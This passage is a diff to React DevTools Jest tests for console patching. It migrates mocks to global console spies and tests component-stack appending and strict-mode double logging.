   it('should append component stacks to errors and warnings logged from gDSFP', () => {
     const Intermediate = ({children}) => children;
     const Parent = ({children}) => (
@@ -356,9 +259,9 @@ describe('console', () => {
     class Child extends React.Component<any, any> {
       state = {};
       static getDerivedStateFromProps() {
-        fakeConsole.error('error');
-        fakeConsole.log('log');
-        fakeConsole.warn('warn');
+        console.error('error');
+        console.log('log');
+        console.warn('warn');
         return null;
       }
       render() {
@@ -368,67 +271,27 @@ describe('console', () => {
 
     act(() => render(<Parent />));
 
-    expect(mockLog).toHaveBeenCalledTimes(1);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0]).toHaveLength(2);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
-    expect(normalizeCodeLocInfo(mockWarn.mock.calls[0][1])).toEqual(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockError).toHaveBeenCalledTimes(1);
-    expect(mockError.mock.calls[0]).toHaveLength(2);
-    expect(mockError.mock.calls[0][0]).toBe('error');
-    expect(normalizeCodeLocInfo(mockError.mock.calls[0][1])).toBe(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-  });
-
-  // @reactVersion >=18.0
-  it('should append stacks after being uninstalled and reinstalled', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = false;
-
-    const Child = ({children}) => {
-      fakeConsole.warn('warn');
-      fakeConsole.error('error');
-      return null;
-    };
-
-    act(() => render(<Child />));
-
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0]).toHaveLength(1);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
-    expect(mockError).toHaveBeenCalledTimes(1);
-    expect(mockError.mock.calls[0]).toHaveLength(1);
-    expect(mockError.mock.calls[0][0]).toBe('error');
-
-    patchConsole({
-      appendComponentStack: true,
-      breakOnConsoleErrors: false,
-      showInlineWarningsAndErrors: false,
-    });
-    act(() => render(<Child />));
-
-    expect(mockWarn).toHaveBeenCalledTimes(2);
-    expect(mockWarn.mock.calls[1]).toHaveLength(2);
-    expect(mockWarn.mock.calls[1][0]).toBe('warn');
-    expect(normalizeCodeLocInfo(mockWarn.mock.calls[1][1])).toEqual(
-      '\n    in Child (at **)',
-    );
-    expect(mockError).toHaveBeenCalledTimes(2);
-    expect(mockError.mock.calls[1]).toHaveLength(2);
-    expect(mockError.mock.calls[1][0]).toBe('error');
-    expect(normalizeCodeLocInfo(mockError.mock.calls[1][1])).toBe(
-      '\n    in Child (at **)',
-    );
+    expect(global.consoleLogMock.mock.calls).toEqual([['log']]);
+    expect(
+      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'warn',
+      supportsOwnerStacks
+        ? '\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+    expect(
+      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'error',
+      supportsOwnerStacks
+        ? '\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
   });
 
-  // @reactVersion >=18.0
+  // @reactVersion >= 18.0
   it('should be resilient to prepareStackTrace', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = true;
-
     Error.prepareStackTrace = function (error, callsites) {
       const stack = ['An error occurred:', error.message];
       for (let i = 0; i < callsites.length; i++) {
@@ -450,58 +313,66 @@ describe('console', () => {
       </Intermediate>
     );
     const Child = ({children}) => {
-      fakeConsole.error('error');
-      fakeConsole.log('log');
-      fakeConsole.warn('warn');
+      console.error('error');
+      console.log('log');
+      console.warn('warn');
       return null;
     };
 
     act(() => render(<Parent />));
 
-    expect(mockLog).toHaveBeenCalledTimes(1);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0]).toHaveLength(2);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
-    expect(normalizeCodeLocInfo(mockWarn.mock.calls[0][1])).toEqual(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockError).toHaveBeenCalledTimes(1);
-    expect(mockError.mock.calls[0]).toHaveLength(2);
-    expect(mockError.mock.calls[0][0]).toBe('error');
-    expect(normalizeCodeLocInfo(mockError.mock.calls[0][1])).toBe(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
+    expect(global.consoleLogMock.mock.calls).toEqual([['log']]);
+    expect(
+      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'warn',
+      supportsOwnerStacks
+        ? '\n    in Child (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+    expect(
+      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'error',
+      supportsOwnerStacks
+        ? '\n    in Child (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
   });
 
-  // @reactVersion >=18.0
+  // @reactVersion >= 18.0
   it('should correctly log Symbols', () => {
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+
     const Component = ({children}) => {
-      fakeConsole.warn('Symbol:', Symbol(''));
+      console.warn('Symbol:', Symbol(''));
       return null;
     };
 
     act(() => render(<Component />));
 
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0][0]).toBe('Symbol:');
+    expect(global.consoleWarnMock.mock.calls).toMatchInlineSnapshot(`
+    [
+      [
+        "Symbol:",
+        Symbol(),
+      ],
+    ]
+    `);
   });
 
   it('should double log if hideConsoleLogsInStrictMode is disabled in Strict mode', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = false;
-    global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      false;
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
     function App() {
-      fakeConsole.log('log');
-      fakeConsole.warn('warn');
-      fakeConsole.error('error');
-      fakeConsole.info('info');
-      fakeConsole.group('group');
-      fakeConsole.groupCollapsed('groupCollapsed');
+      console.log('log');
+      console.warn('warn');
+      console.error('error');
       return <div />;
     }
 
@@ -512,77 +383,38 @@ describe('console', () => {
         </React.StrictMode>,
       ),
     );
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
-    expect(mockLog.mock.calls[1]).toEqual([
+
+    expect(global.consoleLogMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleLogMock.mock.calls[1]).toEqual([
       '\x1b[2;38;2;124;124;124m%s\x1b[0m',
       'log',
     ]);
 
-    expect(mockWarn).toHaveBeenCalledTimes(2);
-    expect(mockWarn.mock.calls[0]).toHaveLength(1);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
-    expect(mockWarn.mock.calls[1]).toHaveLength(2);
-    expect(mockWarn.mock.calls[1]).toEqual([
+    expect(global.consoleWarnMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleWarnMock.mock.calls[1]).toEqual([
       '\x1b[2;38;2;124;124;124m%s\x1b[0m',
       'warn',
     ]);
 
-    expect(mockError).toHaveBeenCalledTimes(2);
-    expect(mockError.mock.calls[0]).toHaveLength(1);
-    expect(mockError.mock.calls[0][0]).toBe('error');
-    expect(mockError.mock.calls[1]).toHaveLength(2);
-    expect(mockError.mock.calls[1]).toEqual([
+    expect(global.consoleErrorMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleErrorMock.mock.calls[1]).toEqual([
       '\x1b[2;38;2;124;124;124m%s\x1b[0m',
       'error',
     ]);
-
-    expect(mockInfo).toHaveBeenCalledTimes(2);
-    expect(mockInfo.mock.calls[0]).toHaveLength(1);
-    expect(mockInfo.mock.calls[0][0]).toBe('info');
-    expect(mockInfo.mock.calls[1]).toHaveLength(2);
-    expect(mockInfo.mock.calls[1]).toEqual([
-      '\x1b[2;38;2;124;124;124m%s\x1b[0m',
-      'info',
-    ]);
-
-    expect(mockGroup).toHaveBeenCalledTimes(2);
-    expect(mockGroup.mock.calls[0]).toHaveLength(1);
-    expect(mockGroup.mock.calls[0][0]).toBe('group');
-    expect(mockGroup.mock.calls[1]).toHaveLength(2);
-    expect(mockGroup.mock.calls[1]).toEqual([
-      '\x1b[2;38;2;124;124;124m%s\x1b[0m',
-      'group',
-    ]);
-
-    expect(mockGroupCollapsed).toHaveBeenCalledTimes(2);
-    expect(mockGroupCollapsed.mock.calls[0]).toHaveLength(1);
-    expect(mockGroupCollapsed.mock.calls[0][0]).toBe('groupCollapsed');
-    expect(mockGroupCollapsed.mock.calls[1]).toHaveLength(2);
-    expect(mockGroupCollapsed.mock.calls[1]).toEqual([
-      '\x1b[2;38;2;124;124;124m%s\x1b[0m',
-      'groupCollapsed',
-    ]);
   });
 
   it('should not double log if hideConsoleLogsInStrictMode is enabled in Strict mode', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = false;
-    global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = true;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      true;
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
     function App() {
-      console.log(
-        'CALL',
-        global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__,
-      );
-      fakeConsole.log('log');
-      fakeConsole.warn('warn');
-      fakeConsole.error('error');
-      fakeConsole.info('info');
-      fakeConsole.group('group');
-      fakeConsole.groupCollapsed('groupCollapsed');
+      console.log('log');
+      console.warn('warn');
+      console.error('error');
       return <div />;
     }
 
@@ -594,54 +426,29 @@ describe('console', () => {
       ),
     );
 
-    expect(mockLog).toHaveBeenCalledTimes(1);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
-
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0]).toHaveLength(1);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
-
-    expect(mockError).toHaveBeenCalledTimes(1);
-    expect(mockError.mock.calls[0]).toHaveLength(1);
-    expect(mockError.mock.calls[0][0]).toBe('error');
-
-    expect(mockInfo).toHaveBeenCalledTimes(1);
-    expect(mockInfo.mock.calls[0]).toHaveLength(1);
-    expect(mockInfo.mock.calls[0][0]).toBe('info');
-
-    expect(mockGroup).toHaveBeenCalledTimes(1);
-    expect(mockGroup.mock.calls[0]).toHaveLength(1);
-    expect(mockGroup.mock.calls[0][0]).toBe('group');
-
-    expect(mockGroupCollapsed).toHaveBeenCalledTimes(1);
-    expect(mockGroupCollapsed.mock.calls[0]).toHaveLength(1);
-    expect(mockGroupCollapsed.mock.calls[0][0]).toBe('groupCollapsed');
+    expect(global.consoleLogMock).toHaveBeenCalledTimes(1);
+    expect(global.consoleWarnMock).toHaveBeenCalledTimes(1);
+    expect(global.consoleErrorMock).toHaveBeenCalledTimes(1);
   });
 
   it('should double log from Effects if hideConsoleLogsInStrictMode is disabled in Strict mode', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = false;
-    global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      false;
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
     function App() {
       React.useEffect(() => {
-        fakeConsole.log('log effect create');
-        fakeConsole.warn('warn effect create');
-        fakeConsole.error('error effect create');
-        fakeConsole.info('info effect create');
-        fakeConsole.group('group effect create');
-        fakeConsole.groupCollapsed('groupCollapsed effect create');
+        console.log('log effect create');
+        console.warn('warn effect create');
+        console.error('error effect create');
 
         return () => {
-          fakeConsole.log('log effect cleanup');
-          fakeConsole.warn('warn effect cleanup');
-          fakeConsole.error('error effect cleanup');
-          fakeConsole.info('info effect cleanup');
-          fakeConsole.group('group effect cleanup');
-          fakeConsole.groupCollapsed('groupCollapsed effect cleanup');
+          console.log('log effect cleanup');
+          console.warn('warn effect cleanup');
+          console.error('error effect cleanup');
         };
       });
 
@@ -655,61 +462,41 @@ describe('console', () => {
         </React.StrictMode>,
       ),
     );
-    expect(mockLog.mock.calls).toEqual([
+    expect(global.consoleLogMock.mock.calls).toEqual([
       ['log effect create'],
       ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'log effect cleanup'],
       ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'log effect create'],
     ]);
-    expect(mockWarn.mock.calls).toEqual([
+    expect(global.consoleWarnMock.mock.calls).toEqual([
       ['warn effect create'],
       ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'warn effect cleanup'],
       ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'warn effect create'],
     ]);
-    expect(mockError.mock.calls).toEqual([
+    expect(global.consoleErrorMock.mock.calls).toEqual([
       ['error effect create'],
       ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'error effect cleanup'],
       ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'error effect create'],
     ]);
-    expect(mockInfo.mock.calls).toEqual([
-      ['info effect create'],
-      ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'info effect cleanup'],
-      ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'info effect create'],
-    ]);
-    expect(mockGroup.mock.calls).toEqual([
-      ['group effect create'],
-      ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'group effect cleanup'],
-      ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'group effect create'],
-    ]);
-    expect(mockGroupCollapsed.mock.calls).toEqual([
-      ['groupCollapsed effect create'],
-      ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'groupCollapsed effect cleanup'],
-      ['\x1b[2;38;2;124;124;124m%s\x1b[0m', 'groupCollapsed effect create'],
-    ]);
   });
 
   it('should not double log from Effects if hideConsoleLogsInStrictMode is enabled in Strict mode', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = false;
-    global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = true;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      true;
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
     function App() {
       React.useEffect(() => {
-        fakeConsole.log('log effect create');
-        fakeConsole.warn('warn effect create');
-        fakeConsole.error('error effect create');
-        fakeConsole.info('info effect create');
-        fakeConsole.group('group effect create');
-        fakeConsole.groupCollapsed('groupCollapsed effect create');
+        console.log('log effect create');
+        console.warn('warn effect create');
+        console.error('error effect create');
 
         return () => {
-          fakeConsole.log('log effect cleanup');
-          fakeConsole.warn('warn effect cleanup');
-          fakeConsole.error('error effect cleanup');
-          fakeConsole.info('info effect cleanup');
-          fakeConsole.group('group effect cleanup');
-          fakeConsole.groupCollapsed('groupCollapsed effect cleanup');
+          console.log('log effect cleanup');
+          console.warn('warn effect cleanup');
+          console.error('error effect cleanup');
         };
       });
 
@@ -723,31 +510,25 @@ describe('console', () => {
         </React.StrictMode>,
       ),
     );
-    expect(mockLog.mock.calls).toEqual([['log effect create']]);
-    expect(mockWarn.mock.calls).toEqual([['warn effect create']]);
-    expect(mockError.mock.calls).toEqual([['error effect create']]);
-    expect(mockInfo.mock.calls).toEqual([['info effect create']]);
-    expect(mockGroup.mock.calls).toEqual([['group effect create']]);
-    expect(mockGroupCollapsed.mock.calls).toEqual([
-      ['groupCollapsed effect create'],
-    ]);
+
+    expect(global.consoleLogMock).toHaveBeenCalledTimes(1);
+    expect(global.consoleWarnMock).toHaveBeenCalledTimes(1);
+    expect(global.consoleErrorMock).toHaveBeenCalledTimes(1);
   });
 
   it('should double log from useMemo if hideConsoleLogsInStrictMode is disabled in Strict mode', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = false;
-    global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      false;
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
     function App() {
       React.useMemo(() => {
-        fakeConsole.log('log');
-        fakeConsole.warn('warn');
-        fakeConsole.error('error');
-        fakeConsole.info('info');
-        fakeConsole.group('group');
-        fakeConsole.groupCollapsed('groupCollapsed');
+        console.log('log');
+        console.warn('warn');
+        console.error('error');
       }, []);
       return <div />;
     }
@@ -759,78 +540,39 @@ describe('console', () => {
         </React.StrictMode>,
       ),
     );
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
-    expect(mockLog.mock.calls[1]).toEqual([
+
+    expect(global.consoleLogMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleLogMock.mock.calls[1]).toEqual([
       '\x1b[2;38;2;124;124;124m%s\x1b[0m',
       'log',
     ]);
 
-    expect(mockWarn).toHaveBeenCalledTimes(2);
-    expect(mockWarn.mock.calls[0]).toHaveLength(1);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
-    expect(mockWarn.mock.calls[1]).toHaveLength(2);
-    expect(mockWarn.mock.calls[1]).toEqual([
+    expect(global.consoleWarnMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleWarnMock.mock.calls[1]).toEqual([
       '\x1b[2;38;2;124;124;124m%s\x1b[0m',
       'warn',
     ]);
 
-    expect(mockError).toHaveBeenCalledTimes(2);
-    expect(mockError.mock.calls[0]).toHaveLength(1);
-    expect(mockError.mock.calls[0][0]).toBe('error');
-    expect(mockError.mock.calls[1]).toHaveLength(2);
-    expect(mockError.mock.calls[1]).toEqual([
+    expect(global.consoleErrorMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleErrorMock.mock.calls[1]).toEqual([
       '\x1b[2;38;2;124;124;124m%s\x1b[0m',
       'error',
     ]);
-
-    expect(mockInfo).toHaveBeenCalledTimes(2);
-    expect(mockInfo.mock.calls[0]).toHaveLength(1);
-    expect(mockInfo.mock.calls[0][0]).toBe('info');
-    expect(mockInfo.mock.calls[1]).toHaveLength(2);
-    expect(mockInfo.mock.calls[1]).toEqual([
-      '\x1b[2;38;2;124;124;124m%s\x1b[0m',
-      'info',
-    ]);
-
-    expect(mockGroup).toHaveBeenCalledTimes(2);
-    expect(mockGroup.mock.calls[0]).toHaveLength(1);
-    expect(mockGroup.mock.calls[0][0]).toBe('group');
-    expect(mockGroup.mock.calls[1]).toHaveLength(2);
-    expect(mockGroup.mock.calls[1]).toEqual([
-      '\x1b[2;38;2;124;124;124m%s\x1b[0m',
-      'group',
-    ]);
-
-    expect(mockGroupCollapsed).toHaveBeenCalledTimes(2);
-    expect(mockGroupCollapsed.mock.calls[0]).toHaveLength(1);
-    expect(mockGroupCollapsed.mock.calls[0][0]).toBe('groupCollapsed');
-    expect(mockGroupCollapsed.mock.calls[1]).toHaveLength(2);
-    expect(mockGroupCollapsed.mock.calls[1]).toEqual([
-      '\x1b[2;38;2;124;124;124m%s\x1b[0m',
-      'groupCollapsed',
-    ]);
   });
 
   it('should not double log from useMemo fns if hideConsoleLogsInStrictMode is enabled in Strict mode', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = false;
-    global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = true;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      true;
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
     function App() {
       React.useMemo(() => {
-        console.log(
-          'CALL',
-          global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__,
-        );
-        fakeConsole.log('log');
-        fakeConsole.warn('warn');
-        fakeConsole.error('error');
-        fakeConsole.info('info');
-        fakeConsole.group('group');
-        fakeConsole.groupCollapsed('groupCollapsed');
+        console.log('log');
+        console.warn('warn');
+        console.error('error');
       }, []);
       return <div />;
     }
@@ -843,49 +585,27 @@ describe('console', () => {
       ),
     );
 
-    expect(mockLog).toHaveBeenCalledTimes(1);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
-
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0]).toHaveLength(1);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
-
-    expect(mockError).toHaveBeenCalledTimes(1);
-    expect(mockError.mock.calls[0]).toHaveLength(1);
-    expect(mockError.mock.calls[0][0]).toBe('error');
-
-    expect(mockInfo).toHaveBeenCalledTimes(1);
-    expect(mockInfo.mock.calls[0]).toHaveLength(1);
-    expect(mockInfo.mock.calls[0][0]).toBe('info');
-
-    expect(mockGroup).toHaveBeenCalledTimes(1);
-    expect(mockGroup.mock.calls[0]).toHaveLength(1);
-    expect(mockGroup.mock.calls[0][0]).toBe('group');
-
-    expect(mockGroupCollapsed).toHaveBeenCalledTimes(1);
-    expect(mockGroupCollapsed.mock.calls[0]).toHaveLength(1);
-    expect(mockGroupCollapsed.mock.calls[0][0]).toBe('groupCollapsed');
+    expect(global.consoleLogMock).toHaveBeenCalledTimes(1);
+    expect(global.consoleWarnMock).toHaveBeenCalledTimes(1);
+    expect(global.consoleErrorMock).toHaveBeenCalledTimes(1);
   });
 
   it('should double log in Strict mode initial render for extension', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = false;
-    global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      false;
 
     // This simulates a render that happens before React DevTools have finished
     // their handshake to attach the React DOM renderer functions to DevTools
     // In this case, we should still be able to mock the console in Strict mode
-    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces.set(
-      rendererID,
-      null,
-    );
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces.delete(rendererID);
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
     function App() {
-      fakeConsole.log('log');
-      fakeConsole.warn('warn');
-      fakeConsole.error('error');
+      console.log('log');
+      console.warn('warn');
+      console.error('error');
       return <div />;
     }
 
@@ -897,52 +617,41 @@ describe('console', () => {
       ),
     );
 
-    expect(mockLog).toHaveBeenCalledTimes(2);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
-    expect(mockLog.mock.calls[1]).toHaveLength(2);
-    expect(mockLog.mock.calls[1]).toEqual([
+    expect(global.consoleLogMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleLogMock.mock.calls[1]).toEqual([
       '\x1b[2;38;2;124;124;124m%s\x1b[0m',
       'log',
     ]);
 
-    expect(mockWarn).toHaveBeenCalledTimes(2);
-    expect(mockWarn.mock.calls[0]).toHaveLength(1);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
-    expect(mockWarn.mock.calls[1]).toHaveLength(2);
-    expect(mockWarn.mock.calls[1]).toEqual([
+    expect(global.consoleWarnMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleWarnMock.mock.calls[1]).toEqual([
       '\x1b[2;38;2;124;124;124m%s\x1b[0m',
       'warn',
     ]);
 
-    expect(mockError).toHaveBeenCalledTimes(2);
-    expect(mockError.mock.calls[0]).toHaveLength(1);
-    expect(mockError.mock.calls[0][0]).toBe('error');
-    expect(mockError.mock.calls[1]).toHaveLength(2);
-    expect(mockError.mock.calls[1]).toEqual([
+    expect(global.consoleErrorMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleErrorMock.mock.calls[1]).toEqual([
       '\x1b[2;38;2;124;124;124m%s\x1b[0m',
       'error',
     ]);
   });
 
   it('should not double log in Strict mode initial render for extension', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = false;
-    global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = true;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      true;
 
     // This simulates a render that happens before React DevTools have finished
     // their handshake to attach the React DOM renderer functions to DevTools
     // In this case, we should still be able to mock the console in Strict mode
-    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces.set(
-      rendererID,
-      null,
-    );
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces.delete(rendererID);
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
     function App() {
-      fakeConsole.log('log');
-      fakeConsole.warn('warn');
-      fakeConsole.error('error');
+      console.log('log');
+      console.warn('warn');
+      console.error('error');
       return <div />;
     }
 
@@ -953,22 +662,16 @@ describe('console', () => {
         </React.StrictMode>,
       ),
     );
-    expect(mockLog).toHaveBeenCalledTimes(1);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
-
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0]).toHaveLength(1);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
 
-    expect(mockError).toHaveBeenCalledTimes(1);
-    expect(mockError.mock.calls[0]).toHaveLength(1);
-    expect(mockError.mock.calls[0][0]).toBe('error');
+    expect(global.consoleLogMock).toHaveBeenCalledTimes(1);
+    expect(global.consoleWarnMock).toHaveBeenCalledTimes(1);
+    expect(global.consoleErrorMock).toHaveBeenCalledTimes(1);
   });
 
   it('should properly dim component stacks during strict mode double log', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = true;
-    global.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = true;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      false;
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
@@ -980,8 +683,8 @@ describe('console', () => {
       </Intermediate>
     );
     const Child = ({children}) => {
-      fakeConsole.error('error');
-      fakeConsole.warn('warn');
+      console.error('error');
+      console.warn('warn');
       return null;
     };
 
@@ -993,115 +696,122 @@ describe('console', () => {
       ),
     );
 
-    expect(mockWarn).toHaveBeenCalledTimes(2);
-    expect(mockWarn.mock.calls[0]).toHaveLength(2);
-    expect(normalizeCodeLocInfo(mockWarn.mock.calls[0][1])).toEqual(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockWarn.mock.calls[1]).toHaveLength(3);
-    expect(mockWarn.mock.calls[1][0]).toEqual(
-      '\x1b[2;38;2;124;124;124m%s %s\x1b[0m',
-    );
-    expect(mockWarn.mock.calls[1][1]).toMatch('warn');
-    expect(normalizeCodeLocInfo(mockWarn.mock.calls[1][2]).trim()).toEqual(
-      'in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
+    expect(
+      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'warn',
+      supportsOwnerStacks
+        ? '\n    in Child (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
 
-    expect(mockError).toHaveBeenCalledTimes(2);
-    expect(mockError.mock.calls[0]).toHaveLength(2);
-    expect(normalizeCodeLocInfo(mockError.mock.calls[0][1])).toEqual(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockError.mock.calls[1]).toHaveLength(3);
-    expect(mockError.mock.calls[1][0]).toEqual(
-      '\x1b[2;38;2;124;124;124m%s %s\x1b[0m',
-    );
-    expect(mockError.mock.calls[1][1]).toEqual('error');
-    expect(normalizeCodeLocInfo(mockError.mock.calls[1][2]).trim()).toEqual(
-      'in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
+    expect(
+      global.consoleWarnMock.mock.calls[1].map(normalizeCodeLocInfo),
+    ).toEqual([
+      '\x1b[2;38;2;124;124;124m%s %o\x1b[0m',
+      'warn',
+      supportsOwnerStacks
